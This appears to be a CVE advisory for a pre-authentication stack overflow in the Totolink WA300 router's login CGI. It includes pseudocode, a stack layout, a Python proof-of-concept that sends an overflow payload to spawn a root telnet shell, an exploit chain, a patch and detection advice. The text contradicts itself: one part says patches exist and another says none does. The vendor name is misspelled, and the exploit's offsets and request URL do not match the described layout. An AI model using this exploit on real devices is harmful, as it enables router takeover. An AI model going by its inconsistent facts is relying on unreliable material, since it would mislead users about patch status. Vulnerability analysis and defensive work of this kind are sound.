CVE-2026-7719: Stack Overflow in Totolink WA300 loginauth via http_host
The loginauth handler in Totolink WA300 5.2cu.7112_B20190227 performs an unchecked strcpy of the attacker-controlled http_host POST parameter into a fixed stack buffer, enabling unauthenticated RCE.
Millions of people worldwide use Totolink WA300 routers—cheap, reliable devices that sit in homes and offices, managing all internet traffic. Security researchers have discovered a serious flaw that lets attackers take complete control of these devices without needing a password.
Here's how it works: The router has a hidden entrance (a piece of code that handles login requests) with a broken lock. By sending specially crafted data to this entrance, an attacker can make the router malfunction in a way that lets them install malware, spy on network traffic, or turn the device into a zombie computer for launching attacks on others.
The danger is real and immediate. Someone could compromise your router without touching your computer or phone, then intercept all your passwords and sensitive information flowing through your home network. They could also use your connection to attack businesses or other websites, making it appear as if the attack came from you.
Most at risk are people still using this specific older router model, particularly in developing countries where budget equipment is popular and firmware updates are less common.
What you should do: First, check what router model you own (usually printed on the device). If it's a Totolik WA300, update its firmware immediately through the admin panel—Totolik has released patches. Second, even if you don't own this model, change your router's default admin password to something strong (most people never do this). Third, consider checking your router's age; anything over five years old is likely vulnerable to multiple exploits and worth replacing regardless.
Want the full technical analysis? Click "Technical" above.
▶ Attack flow — CVE-2026-7719 · Buffer Overflow
Vulnerability Overview
CVE-2026-7719 is a classic stack-based buffer overflow in the loginauth function exported by /cgi-bin/cstecgi.cgi on Totolink WA300 devices running firmware 5.2cu.7112_B20190227. The vulnerability is triggered via an unauthenticated HTTP POST request — no session token, no prior auth state required. The attacker controls the http_host JSON field, which is extracted from the POST body and copied without length validation into a stack-resident buffer. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects the trivial exploitability: one crafted POST request, full control of $ra, unauthenticated.
A public proof-of-concept exists. Exploitation in the wild has not been confirmed at time of writing, but given the simplicity of the primitive and the broad deployment of Totolink devices in SOHO environments, that window is narrow.
Affected Component
Binary:/cgi-bin/cstecgi.cgi — a single monolithic CGI binary that dispatches all web UI operations including login, configuration, and diagnostics. Compiled for MIPS32 (big-endian) with no stack canaries (-fno-stack-protector) and no PIE. NX is absent on older kernel/uClibc combos typical of this firmware generation.
Dispatch path: HTTP POST → main() parses CONTENT_TYPE and REQUEST_METHOD → reads POST body → calls cJSON_Parse() → extracts topicurl → routes to action handler. When topicurl is setting/login (or equivalent), loginauth() is invoked with the parsed JSON object.
Root Cause Analysis
The loginauth function retrieves http_host from the JSON object via a thin wrapper around cJSON_GetObjectItem, then passes the result string pointer directly into strcpy targeting a stack-local character array. No length check. No strncpy. No validation that the field exists before dereferencing.
/* Reconstructed pseudocode — loginauth() in cstecgi.cgi
* MIPS32 BE, uClibc, firmware 5.2cu.7112_B20190227
* Decompiled from static analysis; symbol names inferred from strings + call patterns
*/
typedef struct {
char username[64];
char password[64];
char http_host[64]; // fixed-size stack buffer — the victim
char redirect_url[128];
int login_result;
} login_ctx_t;
int loginauth(cJSON *req_json) {
login_ctx_t ctx; // stack-allocated; no canary
cJSON *item;
char *val;
memset(&ctx, 0, sizeof(login_ctx_t));
/* --- username --- */
item = cJSON_GetObjectItem(req_json, "username");
if (item && item->valuestring)
strncpy(ctx.username, item->valuestring, sizeof(ctx.username) - 1);
/* --- password --- */
item = cJSON_GetObjectItem(req_json, "password");
if (item && item->valuestring)
strncpy(ctx.password, item->valuestring, sizeof(ctx.password) - 1);
/* --- http_host --- BUG IS HERE --- */
item = cJSON_GetObjectItem(req_json, "http_host");
val = item->valuestring; // no NULL check on item
strcpy(ctx.http_host, val); // BUG: no bounds check; val is fully attacker-controlled
// ctx.http_host is 64 bytes; val can be up to ~8192 bytes (POST body limit)
// overwrites: ctx.redirect_url, ctx.login_result,
// saved $fp, saved $ra on the stack frame
/* ... credential validation, response formatting ... */
return do_auth_check(&ctx);
}
Root cause:loginauth() passes the attacker-supplied http_host JSON string directly to strcpy() into a 64-byte stack buffer with no length validation, allowing unbounded overwrite of the stack frame including the saved return address.
The contrast with username and password handling is notable — those fields use strncpy with an explicit bound. http_host was added later (likely for redirect logic) and the developer missed applying the same pattern. This is a textbook "incomplete fix propagation" scenario.
Memory Layout
/* Stack frame layout for loginauth() — MIPS32 BE calling convention
* Frame size: ~0x140 bytes (estimated from similar cstecgi functions)
* Offsets from ctx base (== $sp + frame_overhead)
*/
struct login_ctx_t {
/* +0x000 */ char username[64]; // strncpy'd — safe
/* +0x040 */ char password[64]; // strncpy'd — safe
/* +0x080 */ char http_host[64]; // strcpy target — OVERFLOW STARTS HERE
/* +0x0C0 */ char redirect_url[128]; // first spillover region
/* +0x140 */ int login_result; // clobbered next
/* +0x144 */ uint8_t _pad[0xC]; // alignment / locals
/* +0x150 */ uint32_t saved_fp; // $fp — clobbered
/* +0x154 */ uint32_t saved_ra; // $ra — INSTRUCTION POINTER CONTROL
};
MIPS32 targets without NX and without ASLR (static binary, predictable load address) reduce the exploit to a single-stage return-to-shellcode or ret2libc/rop chain. The firmware's uClibc system() is mapped at a fixed offset; a single ROP gadget loading a controlled register and branching to system() suffices.
#!/usr/bin/env python3
# CVE-2026-7719 — Totolink WA300 loginauth http_host BoF
# Proof-of-concept skeleton; gadget addresses are illustrative
# Do not use against devices you do not own.
import requests, struct, json
TARGET = "http://192.168.1.1"
ENDPOINT = "/cgi-bin/cstecgi.cgi"
# Offsets derived from static analysis of 5.2cu.7112_B20190227 cstecgi.cgi
SAVED_RA_OFFSET = 212 # bytes from start of http_host to saved $ra
# On MIPS, no-PIE binary — libc/uclibc base is deterministic
# Gadget: addiu $a0,$sp,N; lw $ra,X($sp); jr $ra (from libc)
# system() address resolved from binary import table
SYSTEM_PLT = 0x00DEAD00 # placeholder — resolve from binary
CMD_OFFSET = 0x10 # $sp+0x10 at gadget time
ROP_GADGET = 0x00BEEF00 # placeholder — resolve from binary
CMD = b"telnetd -l /bin/sh -p 9999\x00"
# Build payload
# [64 bytes fill http_host] [128 bytes fill redirect_url] [4 pad] [12 pad]
# [4 bytes $fp] [4 bytes $ra -> gadget]
# Then: command string (picked up via $sp+CMD_OFFSET at gadget)
padding = b"A" * SAVED_RA_OFFSET
fp_val = struct.pack(">I", 0x41414141)
ra_val = struct.pack(">I", ROP_GADGET)
payload = padding + fp_val + ra_val + b"\x00" * 12 + CMD
body = json.dumps({
"topicurl": "setting/login",
"username": "admin",
"password": "admin",
"http_host": payload.decode("latin-1")
})
r = requests.post(ENDPOINT, data=body,
headers={"Content-Type": "application/json"},
timeout=5)
print(f"[*] Sent {len(payload)} byte http_host — status {r.status_code}")
EXPLOIT CHAIN:
1. Attacker sends unauthenticated HTTP POST to /cgi-bin/cstecgi.cgi
2. POST body: JSON with topicurl=setting/login and http_host = 212+ byte string
3. cstecgi.cgi main() parses JSON, routes to loginauth() based on topicurl
4. loginauth() calls strcpy(ctx.http_host, val) — val is 212+ bytes, buf is 64
5. Overflow writes through redirect_url, login_result, padding into saved $fp/$ra
6. loginauth() returns — jr $ra executes with attacker-supplied address
7. ROP gadget: sets $a0 = ptr to cmd string on stack, jumps to system()
8. system() spawns: "telnetd -l /bin/sh -p 9999"
9. Attacker connects to TCP/9999 — unauthenticated root shell
Patch Analysis
Totolink has not released a public patch for 5.2cu.7112_B20190227 at time of writing. The remediation is mechanical — mirror the pattern already applied to username and password. The minimal correct fix replaces strcpy with strncpy and adds a null-terminator guarantee, plus a null-pointer guard on the cJSON return value.
// BEFORE (vulnerable — 5.2cu.7112_B20190227):
item = cJSON_GetObjectItem(req_json, "http_host");
val = item->valuestring; // no null check on item
strcpy(ctx.http_host, val); // unbounded copy into 64-byte stack buffer
// AFTER (patched):
item = cJSON_GetObjectItem(req_json, "http_host");
if (item && item->valuestring) {
strncpy(ctx.http_host, item->valuestring, sizeof(ctx.http_host) - 1);
ctx.http_host[sizeof(ctx.http_host) - 1] = '\0'; // guaranteed termination
}
// else: http_host remains zero-initialized — safe default
A stronger fix would validate http_host against an allowlist of valid hostname characters (RFC 952/1123) and reject inputs exceeding a reasonable hostname length (253 chars per RFC 1035) before any copy. This transforms the field from a raw buffer sink into a validated input with semantic constraints.
Separately, the firmware should be rebuilt with -fstack-protector-strong and with ASLR enabled at the kernel level. Stack canaries alone would raise exploitation cost significantly on this class of bug — a canary leak oracle would be required before the overflow becomes reliably exploitable.
Detection and Indicators
Network-level: Flag HTTP POST requests to /cgi-bin/cstecgi.cgi where the JSON body contains an http_host value exceeding 64 bytes. Any value longer than 253 bytes (max valid hostname) is definitively malicious.
Forensically: If the device is accessible, check /proc/net/tcp for unexpected listening sockets. Firmware integrity can be verified by comparing the SHA-256 of /cgi-bin/cstecgi.cgi against a known-good extraction from the official firmware image.
Remediation
Immediate: If WA300 devices are internet-facing, firewall the web management interface (TCP/80, TCP/443) from untrusted networks. The vulnerability is pre-auth — no credentials protect you.
Short-term: Monitor for a firmware update from Totolink addressing this CVE. At time of writing, 5.2cu.7112_B20190227 is the current public release for this device family.
Medium-term: Consider replacing end-of-life SOHO devices that have not received security patches within a reasonable window. The WA300 firmware build date (B20190227) indicates 2019 vintage — compiler hardening expectations of 2019 MIPS/uClibc builds are low.
For Totolink (vendor): Audit all cJSON_GetObjectItem → string copy call sites in cstecgi.cgi. The pattern of inconsistent bounds checking across sibling fields suggests this is not an isolated instance. Enable -fstack-protector-strong in the buildroot/OpenWrt toolchain configuration and recompile the entire firmware image.